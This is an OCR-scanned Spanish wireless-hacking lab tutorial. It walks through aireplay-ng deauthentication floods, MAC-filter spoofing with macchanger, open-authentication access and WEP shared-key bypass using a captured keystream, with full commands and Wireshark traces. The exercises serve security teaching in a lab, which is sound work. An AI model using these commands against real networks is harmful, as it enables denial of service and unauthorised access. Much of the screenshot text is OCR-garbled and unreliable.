1EEE 8\')? Authentication, SN=2066, FN=8, Flags-
IEEE 802 Authentication, SN=296¢, FN=8, Flags=
IEEE 802 Association Request, SN=2067, FN<B, Flegs=
1EEE 892 Association Responst
54107 2338. IEEE 892 Probe Request, 058, FN
54109 2338.821855 D Llnk 12 1EEE BO2 Probe Response, SN=2969, FN= 9, F \W =
54485 2348.658166 60: fb:42:45:; 04 01 IEEE 802 GoS Null function (No data), SN=0, FN=0, Flags:
54486 2348.660244 0.0.0.8 255,255,255, 255 DHCP: DHCP Request - Transaction 1D 4389613 ]
» Frame 54086 (359 bytes on wire, 369 bytes captured)
» Radiotap Header vO, Length 32
» 1EEE 802.11 Probe Response, Flags: .
v IEEE 802.11 wireless LAN management frame
b Fixed paraneters (12 bytes)
~ Tagged parameters (297 nym:)
= $SID parameter set
Tag Number: © (SSID paraneter set)
Tag length: 12

54093 ?338,65?134 60:fb:42:d5:€4:01
54095 2338.604889 D-Link_d2
54098 2338.652904 60:fb:42:d5:e4:61
54160 2338.6

.C, SSID="Wireless Lab' [J|
C

g

$S10="Wireless Lap"
BI=100, SSID="Wireless L
2+ .TC

» 05 Parancter set: Current Channel: 11

» ERP Informaticn: no Non-ERP STAs, do not use protection, short or long preambles

+ Extended Supported Rates: 6.0 9.0 12.0 18.0 24.0 35.0 48.0 54.0

¥ Vendor Specific: WME

+ Vendor Specific: HT Capabilities (862.11n D1.10)

+ Vendor Specific: HT Additional Capabilities (862.11n D1.08)

» HT Ganabilities (867.11n D1.10)

G4 08 21 04 57 6 576¢ 65

peso EEMEE 0 ©4 B2 84 8b 96 03 01 60 2a 61 60 32 08

Oc 12 18 24 30 48 60 6c dd 18 €0 50 12 62 01 01

00 B0 B3 A4 60 60 27 a4 DA 08 47 43 Se 00 62 37
. played

5. Alternativamente, puede usar aireplay -ng para enviar paquetes de de-autenticacion a todas
las estaciones en nombre del punto de acceso inaldmbrico Wireless Lab escribiendo
aireplay -ng -0 5 -a 00:21:91:D2:8E:25 mon0. La opcidn de —0 es para la eleccion
de un ataque de Deautenticacidon y 5 es el nimero de paquetes de deautenticacidn a enviar. Por
ultimo —a especifica la direccion MAC del punto de acceso al que se dirigen:



Session  Edil Settings

View Bookmarks

Help

:—# aireplay-ng -0 5
07:56:47 Waiting for beacon
NGB :

this attack is more effective when targeting

a connected wireless client (-c =client's mac=).

07:56:48 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]

©7:57:19 Sending DeAuth to broadcast -- BSSID:

©7:57:50 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]

©7:58:22 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]

07:58:53 Sinding DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
3

-a 00:21:91:D2
frame (BSSID:

8 25 mono®
00:21:91:D2:8BE:25) on channel 11

6. Los paquetes de deautenticaci
reconectarse. Seria una buena id
de manera aislada:

n anterior obligard a todos los clientes legitimos a desconectarse y
ea afiadir un filtro de paquetes de deautenticacidon para observarlas

v Radiotap Header vO, Length 12

~ IEEE 802.11 Deauthentication, Flags:
Type/Subtype: Deauthentication (Ox0c
Frame Control: ©x00C@ (Normal)
Duration:

: Broadcast (vr

Source address: D-Link_d2:8e:25 (O
BSS 1d:
Fragment numbe
Sequence number :

[}
[}

mono: Capturing hark - =
Ble Edt View Go Capture Analyze Statistics Lelp
S REXCLS Lesw TFTEEEB QUAQAAD E#0SEE B
(¥ iter: [FTan- e typa_subtype = oxoe | 4 pxpression...| & clear| Any\yl
No.. Time Source Destination protacol | info
o 64 B 802 Deauthe o

231 14.762658 5 Broadcast 1EEE 802 Deauthentication,

236 15.000852 s Broadcast IEEE 802 Deauthentication,

237 15.000864 5 Broadcast IEEE 802 Deauthentication,

243 15.238118 S Broadcast IEEE 802 Deauthentication,

245 15.238134 5 Broadcast IEEE 802 Deauthentication,

249 15.478635 5 Broadcast IEEE 802 Deauthentication,

250 15.478697 5 Broadcast 802 Deauthentication,

255 15.717156 s Broadcast IEEE 802 Deauthentication,
L
v Frame 230 (38 bytes on wire, 38 bytes captured)

2
D-Link_d2:8e:25 (00:21:91: dz

» IEEE 802.11 wireless LAN management frame

)

8e:25)

6000 ©0 00 Oc 00 04 BO 00 00 02 00 18
o010 ff ff ff ff ff ff 00 21 91 d2 Be
020 8e 25 00 00 07 00

00 co 00 3a O1
25 00 21 91 g2

THoNO? <Iive Capture I prograsss Fi.

{Packets: 1525 Displayed: 417 Marked: 0

{fFrofiie: Detault

7. Las respuestas de la sonda desde el punto de acceso terminan revelando su SSID oculto. Estos

paquetes se mostraran en Wireshark como se muestran a continuacién. Una vez que los clientes

legitimos se conectan de nuevo p

odemos ver el SSID oculto con la solicitud de sonda y los frames de

respuesta (Probe Request y Response frames). Puedes utilizar el filtro (wlan.bssi

00:21:91:d2:8e:25) &&!(wlan.fc.type_subtype

(no-guiados) de un lado a otro de|

representa al operador légico NO

W _Go_Capture Anayze Statistcs Help

= 0x08) para supervisar todos los paquetes no-beacon
| punto de acceso. El signo && es el operador légico AND y el signo !
T:

o @%@

Eﬂﬂﬂi EXea

TE2EER QRQAFN EVEE B

(] er:

TSR v | 4 erpresson... & clear| o sony|

Tosstostan

[protocal  [ifo

9 A257083
253069
13130
.316086
.364132
L .365087
565 19.367079
82529325334
826 29.328345
827 29.336339

D-Link_d2:
@

192.168.6.1 255.255.
8.0.0.0

60:1b;:42:d5:e4:01
255.255.255.255
255,255.255.255

e s Lad
se, SN-3551, FN-O, Flogse........C, B1=100, SSI0="Wireless Lab®
Request - Transaction 10 (mm 46
- Transaction ID @x4389b146
« Transaction 10 8x4389b147

255.255

> Radiotap Header vO, Length 32
b 1EEE 802.11 Probe Response, Flags:
+ IEEE 802.11 wireless LAN monagenent frane
® Fixed parameters (12 bytes)
~ Tagged paranaters (297 bytes)
“Wireless Lab*
1D parameter set)

DS Paraneter set: Current Cnannel: 11
ERP Information: no Non-ERP STAs, do not use
Extended Supported Rates:
Vendor Specific: WME
Vendor Specific: HI Capabilities
9 21 04 60
@1 04 82
18 24 30
@3 a8 60

oc 12

» Frame 544 (369 bytes on wire, 369 bytes coptured)

s
(B) 5.5(8) 11.6(B)

6.0 9.0 12.0 18.0 24.0 36.8 48.0 54.0

(882.11n D1.

protection, short or long preanbles

18)

L1

on
Earpratation of 3 (Wan T3t 15,

62
Pocksts: 055 Oinplayed: 61 tarked 0

Gropped [FroRe DR




A pesar de que el SSID esta oculto y no se difunde, cada vez que un cliente legitimo intenta conectarse al punto
de acceso intercambia solicitud de sonda ( Probe Request) y los paquetes de respuesta de la sonda (Probe
Response). Estos paquetes contienen el SSID del punto de acceso. Si estos paquetes no estan cifrados, pueden
ser facilmente capturados del aire y el SSID se puede encontrar.En muchos casos, los clientes pueden estar ya
conectados al punto de acceso y puede que no haya paquetes disponibles de Solicitud / Respuesta en la traza de
Wireshark. En este caso se puede desconectar a la fuerza a los clientes desde el punto de acceso mediante el
envio de paquetes falsificados de deautenticacidn. Estos paquetes fuerzan a los clientes a conectarse de nuevo al
punto de acceso, lo que revela el SSID.

Inténtalo-Desautenticacion selectiva

En el ejercicio anterior, enviamos paquetes de difusién dedeautenticacion para forzar la reconexidn de todos los
clientes inaldmbricos. Tratar de ver cémo se puede apuntar selectivamente a clientes individuales utilizando
aireplay-ng.

Es importante sefialar que a pesar de que se ilustran muchos de estos conceptos utilizando Wireshark, es posible
organizar estos ataques con otras herramientas como la suite aircrack-ng. Nosotros animamos a explorar
toda la suite de herramientas aircrack-ng y la documentacion localizada en su pagina web

http://www.aircrack-ng.org.

El filtrado MAC es una técnica de antigua utiliza para la autenticacion y la autorizacion y tiene sus raices en el
mundo cableado. Por desgracia, falla miserablemente en el mundo inaldambrico. La idea basica es la de autenticar
basandose en la direccion MAC del cliente. Esta lista de direcciones MAC permitidas seran mantenidas por el
administrador de la red y se introduce en el punto de acceso. Sabremos ver lo facil que es evitar los filtros MAC.

Parte practica-Rompiendo el filtrado MAG

1. Primero vamos a configurar nuestro punto de acceso para utilizar el filtrado de MAC y luego agregar
la direccion MAC del cliente de la computadora victima de nuestro laboratorio. La pagina de
configuracién de mi router para esto es la siguiente:
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VIS VER

based on the MAC Address of the network adapter. A MAC address is a unique ID assigned by
= the manufacturer of the network adapter. This feature can be configured to ALLOW or DENY

e network/Internet access.

ACCESS CONTROL [[save settings | [ pon'tsave settngs |

WEBSITE FILTER iy serve
24 -- MAC FILTERING RULES
%

Configure MAC Filtering below:
EIREWAL SEVIINGS Turn MAC Filtering ON and ALLOW computers listed to access the network
MAC Address DHCP Client List J R
WI-FI PROTECTED
from the MAC Filtering i
00:22:19:e9:41:aC Computer Name R ring

novancen neTwors | R, Computer Name =

Computer Name

Computer Name
Computer Name
Computer Name

Computer Name



http://www.aircrack-ng.org/

2. Una vez el filtrado MAC estd activado sélo permite la direccion MAC indicada ser capaz de
autenticar con el punto de acceso. Si tratamos de conectar con el punto de acceso desde una maquina
con una direccién MAC no indicada en la lista blanca, la conexién fallara como se muestra a
continuacion:

:~# iwconfig wlan® essid "Wireless Lab" channel 11

:~# iwconfig
Lo no wireless extensions.
etho no wireless extensions.

mwmaster® no wireless extensions.

wlan® IEEE 802.11bg ESSID:"Wireless Lab"
Mode:Managed Frequency:2.462 GHz §
Tx-Power=27 dBm

Retry min limit:7 RTS thr:off Fragment thr:off
Encryption key:off

Power Management:off

Link Quality:® Signal level:® Noise level:0

Rx invalid nwid:0 Rx invalid crypt:@ Rx invalid frag:0
Tx excessive retries:® Invalid misc:® Missed beacon:0

mon@ IEEE 802.11bg Mode:Monitor Frequency:2.462 GHz Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality:® Signal level:® Noise level:0

Rx invalid nwid:0 Rx invalid crypt:@ Rx invalid frag:0

Tx excessive retries:® Invalid misc:0 Missed beacon:@

=4 |

3. Detras del escenario el punto de acceso envia mensajes de Error de autenticacion para el cliente.
La traza de paquetes seria similar al siguiente:

mond: Capturing - Wireshark

Ele Edt View Go Copture Analyze Statistics Help

S sEXCL A« FLEB QaAaRF OB E O

() pher:[TTan-besid == 00:31:51:02:08135) &6 1(W1an-Ae v | 4 Bxprossion. |& cl-ul y @pc),]

| Destination [Protacol
T

TTITR_UZ 08T 2T

0

[into

1795 53
1308 45,
1304 46,89

o

IEEE 802 QoS Null function (No deta),
IEEE 862 QoS Null function (No dats), SN=
F!

[

» Frane 1484 (66 bytes on wire, 66 bytes ceptured)

» Radiotap Header v8, Length 32

» 1EEE 802.11 Authentication, Flags: .

v IEEE 802.11 wirelaess LAN management frai

~ Fixed paraneters (6 bytes)
Authentication Algerithn: Open System (©)
Authent i SEQ:

Unspecified failure (0x0801)

(o}

P020 b0 ©J 40 U] OO cO ca 3¢ bd 93 00 21 9] 02 8e 25 velores® ve
P36 00 21 91 d2 Be 25 ed 3c 00 00 62 00 EHNEER df 47 .!...%.< ..
pass 9a 79 ¥

Status of requested event (wlan_m. il”xk 2864 Dﬁﬁh‘ld 608 Marked: O jl’ro‘(a Dafﬂ:k
4. Con el fin de superar los filtros MAC, podemos usar airodump-ng para encontrar las direcciones
MAC de los clientes conectados al punto de acceso. Podemos hacer esto mediante la emision del
comando airodump-ng -c 11 -a --bssid 00:21:91:D2:8E:25 mon0. Al especificar el
bssid, solo se hara un seguimiento del punto de acceso que es de interés para nosotros. El -c 11
establece el canal 11, donde es la frecuencia de emisidn del punto de acceso. E1 -a asegura en la
seccién de clientes la salida de airodump-ng, sélo se muestran los clientes que se asocian y se
conectan al punto de acceso. Esto nos mostrara todas las direcciones MAC del cliente asociado con el
punto de acceso:




root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

CH 11 ][ Elapsed: 20 s ][ 2011-01-89 09:15

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -15 90 193 16 @ 11 54e. OPN Wireless Lab
BSSID STATION PWR  Rate Lost Packets Probes
00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -3 0 -1 [¢] 3 Wireless Lab

5. Una vez que nos encontramos a un cliente de la lista blanca de MAC, se puede falsificar la direccién
MAC del cliente mediante la utilidad macchanger que viene con BackTrack. Puede utilizar el
comando macchanger —-m 60:FB:42:D5:E4:01 wlanO paralograr esto. La direccion MAC
que se especifique con la opcidén -mes la nueva direccion MAC falsa para la interface wlanO:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# ifconfig wlan0 down
:~# macchanger -m 60:FB:42:D5:E4:01 wlan@
Current MAC: 00:cO:ca:3e:bd:93 (Alfa, Inc.)
Faked MAC: 60:Tb:42:d5:e4:01 (unknown)
:—# ifconfig wlan®@ up
H#
:~# iwconfig wlan® essid "Wireless Lab" channel 11
:—# iwconfig wlan®
wlan@ IEEE 802.11bg ESSID:"Wireless Lab"
Mode:Managed Frequency:2.462 GHz cess Point: 00:21:91:D2:8E:25
Bit Rate=1 Mb/s Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=70/70 Signal level=-15 dBm
Rx invalid nwid:® Rx invalid crypt:® Rx invalid frag:0
Tx excessive retries:0 Invalid misc:@ Missed beacon:0

6. Como se puede ver claramente, estamos ahora en condiciones de conectarnos al punto de acceso
después de la suplantacién de la direcciéon MAC de un cliente de la lista blanca.

Se monitored la red inaldmbrica usando airodump-ng y encontramos la direccion MAC de los clientes
legitimos conectados a la red inaldmbrica. A continuacion, utilizamos la utilidad macchnager para cambiar la
direccion MAC de nuestra tarjeta inalambrica para que coincida con la del cliente. Esto engafio al punto de acceso
haciéndole creer de que somos el cliente legitimo y nos permitié el acceso a su red inalambrica.

Sile anima a explorar las diferentes opciones de la utilidad airodump-ng eche un vistazo a la documentacién
en su pagina web: http://www.aircrack-ng.org/doku.php?id=airodump-ng

Autenticacion abierta

El término autenticacion abierta es casi un nombre inapropiado, ya que en realidad no proporciona ninguna
autenticacion. Cuando un punto de acceso esta configurado para utilizar autenticacion abierta, esta preparado
para que todos los clientes que conecten a él sean autenticados con éxito .

Ahora vamos a hacer un ejercicio para autenticar y conectarnos a un punto de acceso utilizando Open
Authentication.


http://www.aircrack-ng.org/doku

Parte practica-Bypass de autenticacion abierta

Veamos ahora la forma de eludir la autenticacion abierta:

1. En primer lugar establecemos nuestro punto de acceso de laboratorio para utilizar la autenticacion
abierta. En mi punto de acceso se trata simplemente de establecer security mode en None:
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Helpful Hints.
Use this section to configure the wireless settings for your D-Link Router. Please note that ;]2'::2;19”‘_’;,:‘2
changes made on this section may also need to be duplicated on your Wireless Client. - curing your
" = etwork. Change
l Save Settings ] I Don't Save Settings ] a familiar name that

ot contain any
al information.

WIRELESS NETWORK SETTINGS A
er can
Enable Wireless : [7] ajays channel for your wirele:

network to operate on.
Wireless Network Name :  ireless Lab (Also called the SSID)
802.11 Mode : Mixed 802.11n, 802.11gand 802.11b +
Enable Auto Channel Scan : || iR
Wireless Channel :  2.462GHz -CH 11 : be able to
ission Rate : Best ~ (Mbit/s)
Channel Width : 20 MHz -
Visibility Status : © Visble © Invisible

WIRELESS SECURITY MODE enabled

ecurity, make
To protect your privacy you can configure wireless security features. This device supports three ¥ the
wireless security modes, including WEP, WPA-Personal, and WPA-Enterprise. WEP is the original
wireless encryption standard. WPA provides a higher level of security. WPA-Personal does not you have configured. You
require an authentication server. The WPA-Enterprise option requires an external RADIUS server. | B RC e atoaiy

NETWORK SETTINGS

Enabling Hidden Mode i
ecu

Security Mode :  None -

WIRELESS

2. A continuacion, nos conectamos a este punto de acceso mediante el comando iwconfig
wlan0 essid "Wireless Lab" y verifique que la conexidn ha tenido éxito y que estamos
conectados al punto de acceso:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# iwconfig wlan® essid "Wireless Lab"
:~# iwconfig wlan@
wlan@ IEEE 802.11bg ESSID:"Wireless Lab"

Mode:Managed Frequency:2.462 GHz Access Point: 00:21:91:D2:8E:25
Bit Rate=1l Mb/s  Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=70/70 Signal level=-15 dBm
Rx invalid nwid:® Rx invalid crypt:@ Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

~#
#

;~#|

3. Tenga en cuenta que no hemos tenido que facilitar cualquier nombre de usuario / password para
obtener la conexidn a través de la autenticacidén abierta.



¢Qué ha pasado?

Este es probablemente el mas sencillo de hackear hasta ahora. Como hemos visto, no era trivial
romper la autenticacion para conectar con el punto de acceso.

Autenticacion de clave compartida (Shared Key Authentication)

Autenticacion de clave compartida utiliza un secreto compartido como la clave WEP para autenticar al cliente. El
intercambio de informacion exacta se ilustra a continuacion (tomado de http: //www.netgear.com):

Q Client Access l
N~ et Point ‘

1) Authentication Request

. 2) AP sends Challenge Text

3) Challenge Response

El cliente inaldmbrico envia una solicitud de autenticacion al punto de acceso, que responde con un texto
modelo. Ahora el cliente tiene que cifrar este texto modelo con la clave previamente compartida y enviarlo de
vuelta al punto de acceso que descifra esto para comprobar si se puede recuperar el texto original enviado al
principio. Si tiene éxito, el cliente se autentica correctamente, de lo contrario envia un mensaje de error en la
autenticacion.

El problema de seguridad es que un atacante escuchando pasivamente esta comunicacion o auditando todas las
conexiones inalambricas tiene acceso tanto al modelo de texto como al encriptado. Se puede aplicar la operacién
XOR para recuperar el flujo de clave. Este flujo de clave se puede utilizar para cifrar cualquier peticion futura
enviada por el punto de acceso sin necesidad de conocer la clave actual.

En este ejercicio, vamos a aprender a capturar el trafico para recuperar el modelo de texto vy el cifrado, recuperar
el flujo de clave y lo utilizarlo para la autenticacidn en el punto de acceso sin necesidad de la clave compartida.

Parte practica-Rompiendo la clave compartida

Saltarse la autenticacion compartida es un poco mas dificil que los ejercicios anteriores, asi que sigue los pasos
con cuidado.



1. Primero vamos a configurar la autenticaciéon compartida en nuestra red inaldmbrica de laboratorio.

Lo he hecho en mi punto de acceso estableciendo el modo de seguridad, como WEP y autenticacion
de clave compartida (Shared Key):

WIRELESS NETWORK SETTINGS

Enable Wireless : Always -

Wireless Network Name :  wiireless Lab (Also called the 551D}

802.11 Mode Mixed 802.11n, 802.11g and 802.11b
Enable Auto Channel Scan : [
Wireless Channel : 2.462GHz-CH 11~
Transmission Rate : Best (automatic) ~  (Mbit/s)
Channel width : 20 MHz -
Visibility Status : @ Visible 7 Invisible

WIRELESS SECURITY MODE

To protect your privacy you can configure wireless security features. This device supports three
wireless security modes, including WEP, WPA-Personal, and WP A-Enterprise. WEP is the original
wireless encryption standard. WPA provides a higher level of security. WPA-Personal does not
require an authentication server. The WRA-Enterprise option requires an external RADIUS server.

Security Mode :  WEP -

WWEP is the wireless encryption standard. To use it you must enter the same key(s) into the
router and the wireless stations. For 64 bit keys you must enter 10 hex digits into each key box.
For 128 bit keys you must enter 26 hex digits into each key box. A hex digit is either a number
from 0 to 9 or 3 letter from A to F. For the most secure use of WEP set the authentication type
to "Shared Key" when WEP is enabled.

You may also enter any text string into a WEP key box, in which case it wil be converted into 3
hexadecimal key using the ASCII values of the characters. A maximum of 5 text characters can
be entered for 64 bit keys, and a maximum of 13 characters for 128 bit keys.
1f you choose the WEP security option this device will ONLY operate in Legacy Wireless mode
(802.11B/G). This means you will NOT get 11N performance due to the fact that WEP is not
supported by Draft 11N specification.

WEP Key Length : s4bit (10 hexdgits) ~  (length applies to all keys)

Default WEP Key : WEPKey 1 =

Authentication :  sharedKey

WIRELESS

2004-2007 D-Link Systems, Inc.

2. Vamos a conectar a un cliente legitimo de esa red utilizando la clave compartida que hemos fijado
en el paso 1.

3.Con el fin de eludir la autenticacién de clave compartida, lo primero que haremos serd empezara a
capturar los paquetes entre el punto de acceso y sus clientes. Sin embargo, también nos gustaria
hacerlo con todo el registro de intercambio de autenticacién compartida. Para ello usamos
airodump-ng con el comando airodump-ng mon0 -c 11 --bssid 00:21:91:D2:8E:
25 -w keystream. La opcidén -w que es nuevo aqui solicita a airodump-ng almacenar y/o
escribir los paquetes en un archivo cuyo nombre es la palabra "keystream". Como nota a parte, podria
ser una buena idea guardar diversas sesiones de captura de paquetes en diferentes archivos. Esto
permite analizarlo en el futuro después de que la trama se ha capturado:

Session

Konsole

Edit View Bookmarks Settings Help

CH 11 ][ Elapsed: 2 mins ][ 2011-01-09 11:45

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -14 90 1174 4 0 11 54e. WEP WEP Wireless Lab
BSSID STATION PWR  Rate Lost Packets Probes

4. Podemos esperar que un cliente legitimo se conecte con el punto de acceso o forzar una
reconexidn con la técnica de deautenticacidn utilizada anteriormente. Una vez que un cliente se
conecta y sucede la autenticacion de clave compartida, airodump-ng captura este intercambio de
forma automadtica. Una indicacién de que la captura ha tenido éxito es cuando la columna AUTH se

lee SKA es decir, autenticacion de clave compartida (Shared Key Authentication), como se muestra a
continuacion:



root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

CH 11 ][ Elapsed: 4 mins ][ 2011-01-09 11:47 ][ 140 bytes keystream: 00:21:91:D2:8E:25

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -21 96 2217 7 © 11 54e. WEP WEP Wireless Lab
BSSID STATION PWR Rate Lost Packets Probes
A(9@:21:91:D2:8E:25 60:FB:42:D5:E4:01 -3 0 -1 Q 4 Wireless Lab

< —# i

5. La captura se almacena en un archivo llamado keystream en el directorio actual. En mi caso con
el nombre de archivo keystream-01-00-21-91-D2-8E-25.xor como se muestra a continuacion:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help
~# 1s =
cdrom keystream-01.cap keystream-01.kismet.netxml

keystream-01.csv
keystream-01.kismet.csv

6. Con el fin de simular una autenticacion de clave compartida, vamos a utilizar la herramienta
aireplay-ng. Corremos el comando aireplay-ng -1 0 -e Wireless Lab -y
keystream-01-00-21-91-D2-8E-25.x0or -a 00:21:91:D2:8E:25 -h
aa:aa:aa:aa:aa:aa monO .Aireplay-ng usa lacaptura que obtuvo en el paso 5 e intenta
autenticar al punto de acceso con el SSID Wireless Lab y la direccion MAC
00:21:91:D2:8E:25 y utiliza un cliente arbitrario de direcciones MAC aa: aa:aa:aa:aa:aa.
Iniciar Wiresahrk y esnifar todos los paquetes de interés mediante la aplicacion del filtro
wlan.addr == aa:aa:aa:aa:aa:aa:

OOLHOL: ~ + 310N + KON30le =%

Session Edt View Bookmarks Heip

:-# aireplay-ng -1 0 -e "Wireless Lab" -y keystream-81-80-21-91-D2-8E-25.xor -a 00:21:91:02:8E:25 -h aa:aa:aa:aa:aa:aa mond | 2

7. Aireplay-ng nos permite saber si la autenticacion tiene éxito o no en el resultado:

= & root@bt: — - Shell - Konsole
Session Edit View Bookmarks Settings Melp

:~# aireplay-ng -1 @ -e "Wireless Lab" -y keystream-01-80-21-91-D2-BE-25.xor -a 00:21:91:D2:BE:25 -h aa:aa:aa:aa:aa:aa mon@
The interface MAC (00:C0:CA:3E:BD:93) doesn't match the specified MAC (-h).

ifconfig mon®@ hw ether AA:AA:AA:AA:AA:AA
12:00:51 Wwaiting for beacon frame (BSSID: 00:21:91:D2:8E:25) on channel 11

Sending Authentication Request (Shared Key) [ACK]
Au ntication SuC fu
Sending encrypted challenge. [ACK]
Authentication 2/2 successful
Sending Association Reguest [ACK]
Association successful :-) (AID: 1)

Bnunn

8. Se puede comprobar lo mismo con Wireshark. Usted debe ver una traza como se muestra a
continuacion en la pantalla de Wireshark:



(Untitled) - Wireshark L

Hlo Edil View Go Copture Anabyze Statistics Help

SEAee ErEXeE AT EE QAN FME % B

() o [ (eTan-addr = T ¥ | 4 Exprossion...| & clear| < aoly|

No. « I Time Isum:e Imsnnmon Ivrmocul lmfo =
559 28,476433 aa:aa:aa:aa:aaiaa D-Link_d2:8e:25 IEEE 802 Authentication, SN=0, FN=0, Flags=...... ‘
561 28,485326 D-Link_d2:8e:25 aa:aa:aaiaaiaa:aa IEEE 802 Authentication, SN=2950, FN=0, Flags=...
562 28.476454 aa:aa:aa:aa:aa:aa D-Link_d2:8e:25 IEEE 802 Authentication, SN=0, FN=0, Flags=...... i
563 28.487057 D-Link_d2:8e:25 aa:aaiaa:aa‘aa:aa IEEE 802 Authentication, SN=2950, FN=0,
564 28.488037 D-Link_d2:8e:25 aa:aa:aaiaaiaa:aa IEEE 802 Authentication, SN=2950, FN=0,
565 28,490002 D-Link_d2:8e:25 aa:aa:aa.aa:aa:aa IEEE 802 Authentication, SN=2950, FN=0,
566 28.492169 D-Link_d2:8e:25 aa:aa:aa.aa:aa:aa IEEE 802 Authentication, SN=2950, FN=0,
567 28.493060 D-Link_d2:8e:25 aa:aa:aa'aa:aa:aa IEEE 802 Authentication, SN=2950, FN=0,
568 28,495134 D-Link_d2:8e:25 aa:aa:aaiaaiaa:aa IEEE 802 Authentication, SN=2950, FN=0,
569 28,497262 D-Link_d2:8e:25 aa:aa:aaiaaiaa:aa IEEE 802 Authentication, SN=2950, FN=0,
570 28.498987 D-Link_d2:8e:25 aa:aa:aa:aa:aa:iaa IEEE 802 Authentication, SN=2950, FN=0,
571 28.501014 D-Link_d2:8e:25 aa:aa:aaiaalaaiaa IEEE 802 Authentication, SN=2950, FN=0,
572 28.502062 D-Link_d2:8e:25 aa:aa:aaiaalaa:aa IEEE 802 Authentication, SN=2950, FN=0,

I I
» Frame 611 (70 bytes on wire, 70 bytes captured) m
» Radiotap Header v@, Length 12
» IEEE 802.11 Association Request, Flags: ........
= IEEE 802.11 wireless LAN management frame

~ Fixed parameters (4 bytes)
¢+ Capability Information: 0x0431
Listen Interval: 0x0064
~ Tagged parameters (30 bytes)
~ SSID parameter set: "Wireless Lab"
Tag Number: O (SSID parameter set)

000 00 00 Oc 00 04 80 00 06 02 00 18 00 00 00 3a 01
010 00 21 91 d2 8e 25 aa aa aa aa aa aa 00 21 91 d2
020 8e 25 60 00 31 04 64 00 00 Oc 57 69 72 65 6¢ 65 % .1.d. . .Wirele

IFql(-: “Amp/etherOOXkOAVE” 580 K... JPackets: 2896 Displayed: 105 Marked; 0 Dropped: 0 Iprofile: Default

9. El primer paquete es la solicitud de autenticacién enviada por la herramienta aireplay-ng al
punto de acceso:

(Untitied) - Wireshark

fle Edit View Go Copture Analyze Statistics Help

Saoee PEXE a¢»w T2 EBR QRQAF @VE% B

) her, [(<Tan. sddr == sareeisasanisaian) | 4 exprosson. | & -:Ienrl Nps,|
No.. Time Source Destination Protocel Info ~
9 28.4764 R a:a D K d 8 80 t) 0 =0 =0 1gs -
561 28,485326 D-Link_d2:8e:25 aa:aa’aaiaaiaaiaa IEEE 802 Authentication, SN=2950, FN=0, Flags=.,. ]

1 J 2
» Frame 559 (42 bytes on wire, 42 bytes captured)
» Radiotap Header vO, Length 12
» TIEEE 802,11 Authentication, Flags: ........
~ JEEE 802.11 wireless LAN management frame
v Fixed parameters (6 bytes)
Authentication Algorithm: Shared key (1)
Authentication SEQ: 0x0001
Status code: Successful (0x0000)

010 00 21 91 d2 8e 25 aa aa aa aa aa aa 00 21 91 d2
020 Be 25 00 00 01 00 01 00 00 00
|[File:“ampjethencookoalve” S50 k..~ Packets: 2695 Displayed: 105 Marked: 0 Dropped: 0 {Profile: Defauk

EUOO 00 00 Oc 00 04 80 00 OO 02 00 18 00 b0 00 3a 01

in




10 El segundo paquete esta formado por el modelo de texto que el punto de acceso envia al cliente:

{Untitled) - Wireshark = & 5
fle Edr View Go Capture Analyze Statist<s Help

S cEXeaE A¢»*=w T2 [EE QAR EVEL 8

W) giter: [[STan-adar == anzaa:astaszaaras) ] 4 xpresson. | & clear| < aepy|

o . [rime [Source [pestmation [Froocel  [info E
559 28.476433 5 IEEE 802 Authentication, SN=0, FN=0, Flags
561 28.485326 88:aa:aa:aaiaaaa IEEE 802 Authentication, SN=2950, FN=0, FL,
L J
» Frame 561 (196 bytes on wire, 196 bytes captured)
* Radiotap Header vO, Length 32
» IEEE 802.11 Authentication, Flags: ........ C
[~ IEEE 802.11 wireless LAN management frame
v Fixed parameters (6 bytes)
Authentication Algorithm: Shared key (1)
Authentication SEQ: 0x0002
Status code: Successful (0x0000)
~ Tagged parameters (130 bytes)
= Challenge text
Tag Number: 16 (Challenge text)
Tag length: 128
Tag interpretation: Challenge text: F4ESEEB4487BS55C7F776A1 6BB6ASICE

0600 00 00 20 00 2f 48 00 00 1b 58 dc 4d 01 00 00 00
0010 10 02 9e 09 a0 00 f7 01 0O 00 GO GO 0O 00 00 00
0020 b0 00 40 01 aa aa aa aa aa aa 00 21 91 d2 8e 25
e Nmp/ethenCOOKOANS" S50 K., ] Packets; 2096 Displayed: 105 Marked: 0 Dropped: 0 {Profle: Default

11. En el tercer paquete, la herramienta envia el modelo de texto cifrado al punto de acceso:

flo EdR Yiew Go Copture Snehze Statintics Help

Beolee "EXSTa nesuwT R EG QA e @NEE 82

(¥ 5ter: [VTan.adar = anzanzas:as:an:an) v | 4 Expression ];lcuy| m]

Destination

589 28.833090 D-Link d2:8e:25 JEEE 802 Authenticati e
591 28.839319 D-Link_d2:8e:25 aa'aa:aa:aa:aa:aa IEEE 802 Authentication, SN=2955, FN=0, Flags=...
| J 2
* Radiotap Header vO, Length 13
* IEEE 802.11 Authentication, Flags: .p......
~ Data (136 bytes)

Data: SAAS42F1ACAAO21BCO46E2B7DES8962B47644A720A4FDTED. . .

00 00 Od 00 04 80 02 00 02 00 01 00 00 bO 40 3a
0010 00 21 91 d2 8e 25 aa aa aa aa aa aa 00 21 9}
